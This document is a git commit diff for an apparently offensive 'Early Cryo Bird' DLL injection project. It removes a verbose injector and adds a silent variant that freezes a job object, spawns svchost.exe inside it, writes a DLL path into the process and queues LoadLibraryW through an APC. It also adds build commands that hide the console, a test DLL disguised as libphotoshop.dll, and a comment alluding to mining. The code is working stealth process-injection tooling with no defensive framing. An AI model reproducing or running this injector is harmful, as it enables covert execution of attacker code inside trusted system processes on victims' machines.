diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b883f1f --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +*.exe diff --git a/Early-Cryo-Bird- DLL-Injection.cpp b/Early-Cryo-Bird- DLL-Injection.cpp deleted file mode 100644 index 5bb65c7..0000000 --- a/Early-Cryo-Bird- DLL-Injection.cpp +++ /dev/null @@ -1,250 +0,0 @@ -#define _CRT_SECURE_NO_WARNINGS - -#include -#include -#include - -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#define JobObjectFreezeInformation 18 - -typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES; - -// Typedef NT-functions -typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID); -typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG); -typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG); -typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG); -typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES); -typedef NTSTATUS(NTAPI* pNtWaitForSingleObject)(HANDLE, BOOLEAN, PLARGE_INTEGER); - -HMODULE hNtDll = GetModuleHandleA("ntdll.dll"); - -const char pAddress[] = "LoadLibraryW"; - -pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread"); -pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory"); -pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx"); -pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject"); -pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject"); -pNtWaitForSingleObject NttWaitForSingleObject = (pNtWaitForSingleObject)GetProcAddress(hNtDll, "NtWaitForSingleObject"); - - -// JOBOBJECT_FREEZE_INFORMATION -typedef struct _JOBOBJECT_WAKE_FILTER { - ULONG HighEdgeFilter; - ULONG LowEdgeFilter; -} JOBOBJECT_WAKE_FILTER, * PJOBOBJECT_WAKE_FILTER; - -typedef struct _JOBOBJECT_FREEZE_INFORMATION { - union { - ULONG Flags; - struct { - ULONG FreezeOperation : 1; - ULONG FilterOperation : 1; - ULONG SwapOperation : 1; - ULONG Reserved : 29; - }; - }; - BOOLEAN Freeze; - BOOLEAN Swap; - UCHAR Reserved0[2]; - JOBOBJECT_WAKE_FILTER WakeFilter; -} JOBOBJECT_FREEZE_INFORMATION, * PJOBOBJECT_FREEZE_INFORMATION; - -void SetColor(int color) { - HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); - SetConsoleTextAttribute(hConsole, color); -} - -int main() -{ - - const wchar_t dllPath[] = L"C:\\Users\\sample.dll"; - SIZE_T dllPathLen = sizeof(dllPath); - SIZE_T regionSize = dllPathLen; - - HANDLE hJob = NULL; - - NTSTATUS creationJob = NtCreateJobObject(&hJob, STANDARD_RIGHTS_ALL | 63, NULL); - if (!NT_SUCCESS(creationJob)) { - SetColor(FOREGROUND_RED); - printf("Error: 0x%X\n", creationJob); - CloseHandle(hJob); - return -1; - } - - - JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 }; - freezeInfo.FreezeOperation = 1; // Initiate freeze - freezeInfo.Freeze = TRUE; - - NTSTATUS freezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); - if (!NT_SUCCESS(freezeStatus)) { - SetColor(FOREGROUND_RED); - printf("Error: 0x%X\n", freezeStatus); - CloseHandle(hJob); - return -1; - } - - - STARTUPINFOEXW siEx = { 0 }; - siEx.StartupInfo.cb = sizeof(siEx); - SIZE_T attrListSize = 0; - - InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize); - siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize); - if (!siEx.lpAttributeList) { - printf("Error in the attribute list allocation.\n"); - CloseHandle(hJob); - return -1; - } - if (!InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize)) { - std::cerr << "Error initialising the attribute list. Error: " << GetLastError() << std::endl; - HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); - CloseHandle(hJob); - return -1; - } - // Enter the job object in the attribute list - if (!UpdateProcThreadAttribute( - siEx.lpAttributeList, - 0, - PROC_THREAD_ATTRIBUTE_JOB_LIST, - &hJob, - sizeof(HANDLE), - NULL, - NULL)) - { - std::cerr << "Error updating the attribute list. Error: " << GetLastError() << std::endl; - DeleteProcThreadAttributeList(siEx.lpAttributeList); - HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); - CloseHandle(hJob); - return -1; - } - - // Create process in the job (e.g. dllhost.exe) - PROCESS_INFORMATION pi = { 0 }; - if (!CreateProcessW( - L"C:\\Windows\\System32\\dllhost.exe", - NULL, - NULL, - NULL, - FALSE, - EXTENDED_STARTUPINFO_PRESENT, - NULL, - NULL, - &siEx.StartupInfo, - &pi)) - { - std::cerr << "CreateProcessW failed: " << GetLastError() << std::endl; - DeleteProcThreadAttributeList(siEx.lpAttributeList); - HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); - CloseHandle(hJob); - return -1; - } - std::cout << "[+] Started Process in Job! PID: " << pi.dwProcessId << std::endl; - - - - // Release attribute list - DeleteProcThreadAttributeList(siEx.lpAttributeList); - HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); - - PVOID remoteMemory = NULL; - - // Allocate memory in the target process | PAGE_READWRITE is sufficient for the DLL path - NTSTATUS allocStatus = NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0); - if (NT_SUCCESS(allocStatus)) { - SetColor(FOREGROUND_GREEN); - printf("[+] NtAllocateVirtualMemoryEx allocated memory at 0x%p\n", remoteMemory); - } - else { - SetColor(FOREGROUND_RED); - printf("Error: 0x%X\n", allocStatus); - CloseHandle(hJob); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return -1; - } - - - // Write the DLL path to the allocated memory - NTSTATUS writeStatus = NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL); - if (NT_SUCCESS(writeStatus)) { - SetColor(FOREGROUND_GREEN); - printf("[+] DLL path was written to 0x%p\n", remoteMemory); - } - else { - SetColor(FOREGROUND_RED); - printf("Error: 0x%X\n", writeStatus); - CloseHandle(hJob); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return 1; - } - - - HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll"); - if (hKernel32 == NULL) { - SetColor(FOREGROUND_RED); - printf("[-] Error retrieving Kernel32-Module\n"); - CloseHandle(hJob); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return -1; - } - - - FARPROC loadLibAddr = GetProcAddress(hKernel32, pAddress); - if (!loadLibAddr) { - printf("Error retrieving the address of LoadLibraryW.\n"); - CloseHandle(hJob); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return -1; - } - if (!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL))) { - printf("NtQueueApcThread failed...\n"); - CloseHandle(hJob); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return -1; - } - SetColor(FOREGROUND_INTENSITY); - printf("[+] APC has been successfully installed. The DLL is loaded during defrosting.\n"); - - printf("Press enter for thawing...\n"); - getchar(); - - - - freezeInfo.FreezeOperation = 1; // Unfreeze operation - freezeInfo.Freeze = FALSE; - - - NTSTATUS unfreezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); - if (!NT_SUCCESS(unfreezeStatus)) { - SetColor(FOREGROUND_RED); - printf("Error: 0x%X\n", unfreezeStatus); - CloseHandle(hJob); - return -1; - } - - SetColor(FOREGROUND_BLUE); - printf("Process thawed successfully!\n"); - - NTSTATUS waitForSingleObjectStatus = NttWaitForSingleObject(pi.hProcess, TRUE, NULL); - if (!NT_SUCCESS(waitForSingleObjectStatus)) { - SetColor(FOREGROUND_RED); - printf("Error: 0x%X\n", waitForSingleObjectStatus); - return -1; - } - - - // WaitForSingleObject(pi.hProcess, 0xFFFFFFFF); - - CloseHandle(hJob); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - - return 0; -} diff --git a/build_cmd b/build_cmd new file mode 100644 index 0000000..33d2119 --- /dev/null +++ b/build_cmd @@ -0,0 +1,14 @@ +x86_64-w64-mingw32-g++ -o injector.exe early-cryo-bird-DLL-injection-stealth.cpp -static -lpsapi -lntdll -Wl,--subsystem,windows -mwindows + + +x86_64-w64-mingw32-g++ \ + -shared \ + -o libphotoshop.dll test_injector.cpp \ + -static-libgcc -static-libstdc++ -static \ + -fno-exceptions -fno-rtti \ + -D_WIN32_WINNT=0x0601 \ + -Wl,--major-subsystem-version,6 \ + -Wl,--minor-subsystem-version,1 \ + -Os -s + +x86_64-w64-mingw32-g++ -o test_load.exe test_load.cpp -static-libgcc -static-libstdc++ -Os -s diff --git a/early-cryo-bird-DLL-injection-stealth.cpp b/early-cryo-bird-DLL-injection-stealth.cpp new file mode 100644 index 0000000..6922869 --- /dev/null +++ b/early-cryo-bird-DLL-injection-stealth.cpp @@ -0,0 +1,86 @@ +// Early-Cryo-Bird-DLL-Injection.cpp — FULLY SILENT & INSTANT (2025) +// No console output, no getchar(), no user input required + +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define JobObjectFreezeInformation 18 + +typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES; + +typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID); +typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG); +typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG); +typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG); +typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES); + +HMODULE hNtDll = GetModuleHandleA("ntdll.dll"); + +pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread"); +pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory"); +pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx"); +pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject"); +pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject"); + +typedef struct _JOBOBJECT_FREEZE_INFORMATION { + union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; }; + BOOLEAN Freeze; + BOOLEAN Swap; + UCHAR Reserved0[2]; + struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter; +} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION; + +int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { + // FULLY SILENT — no console + const wchar_t dllPath[] = L"C:\\Users\\MyWindowsUser\\Downloads\\libphotoshop.dll"; + SIZE_T dllPathLen = sizeof(dllPath); + SIZE_T regionSize = dllPathLen; + + HANDLE hJob = NULL; + NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL); + + JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 }; + freezeInfo.FreezeOperation = 1; + freezeInfo.Freeze = TRUE; + NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); + + STARTUPINFOEXW siEx = { sizeof(siEx) }; + SIZE_T attrListSize = 0; + InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize); + siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize); + InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize); + UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL); + + PROCESS_INFORMATION pi = { 0 }; + CreateProcessW( + L"C:\\Windows\\System32\\svchost.exe", // or dllhost.exe / notepad.exe + NULL, NULL, NULL, FALSE, + CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, + NULL, NULL, (STARTUPINFOW*)&siEx, &pi + ); + + DeleteProcThreadAttributeList(siEx.lpAttributeList); + HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); + + PVOID remoteMemory = NULL; + NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0); + NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL); + + FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW"); + NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL); + + // INSTANT UNFREEZE — no user input + freezeInfo.Freeze = FALSE; + NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); + + ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining) + + CloseHandle(hJob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + return 0; +} diff --git a/extractions/svchost.exe_2025-12-11_20-10-21.dmp b/extractions/svchost.exe_2025-12-11_20-10-21.dmp new file mode 120000 index 0000000..4a7b3c0 --- /dev/null +++ b/extractions/svchost.exe_2025-12-11_20-10-21.dmp @@ -0,0 +1 @@ +/home/someone/malware-dev/Early-Cryo-Bird-Injections/svchost.exe_2025-12-11_20-10-21.dmp \ No newline at end of file diff --git a/extractions/svchost.exe_2025-12-11_20-10-21.dmp.extracted/9699E509/image.png b/extractions/svchost.exe_2025-12-11_20-10-21.dmp.extracted/9699E509/image.png new file mode 100644 index 0000000..d73b22f Binary files /dev/null and b/extractions/svchost.exe_2025-12-11_20-10-21.dmp.extracted/9699E509/image.png differ diff --git a/extractions/svchost.exe_2025-12-11_20-10-21.dmp.extracted/97AD83A9/image.png b/extractions/svchost.exe_2025-12-11_20-10-21.dmp.extracted/97AD83A9/image.png new file mode 100644 index 0000000..1f55945 Binary files /dev/null and b/extractions/svchost.exe_2025-12-11_20-10-21.dmp.extracted/97AD83A9/image.png differ diff --git a/test_injector.cpp b/test_injector.cpp new file mode 100644 index 0000000..d56304b --- /dev/null +++ b/test_injector.cpp @@ -0,0 +1,26 @@ +// test.cpp → compile as test.dll (x64, Release) +#include +#include +#include + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) +{ + if (reason == DLL_PROCESS_ATTACH) { + DisableThreadLibraryCalls(hModule); + + // 1. MessageBox = instant visible proof + MessageBoxA(NULL, "DLL INJECTED & DLLMAIN RAN!", "SUCCESS", MB_ICONINFORMATION); + + // 2. Drop a file so you can see it even if no GUI + std::ofstream out("C:\\Users\\MyWindowsUser\\AppData\\Local\\Temp\\AREYOUWORKING.txt"); + out << "DLL loaded at " << GetTickCount64() << " into PID " << GetCurrentProcessId() << std::endl; + out.close(); + + // 3. Keep process alive (critical!) + CreateThread(NULL, 0, [](LPVOID) -> DWORD { + for (;;) Sleep(60000); + return 0; + }, nullptr, 0, nullptr); + } + return TRUE; +} diff --git a/test_load.cpp b/test_load.cpp new file mode 100644 index 0000000..b3922db --- /dev/null +++ b/test_load.cpp @@ -0,0 +1,14 @@ +#include +#include +int main() { + HMODULE h = LoadLibraryA("C:\\Users\\MyWindowsUser\\Downloads\\libphotoshop.dll"); + if (!h) { + char buf[256]; + sprintf(buf, "Load failed: Error %lu", GetLastError()); + MessageBoxA(NULL, buf, "FAIL", MB_ICONERROR); + } else { + MessageBoxA(NULL, "DLL LOADED OK!", "SUCCESS", MB_ICONINFORMATION); + } + Sleep(10000); // Keep open to see + return 0; +}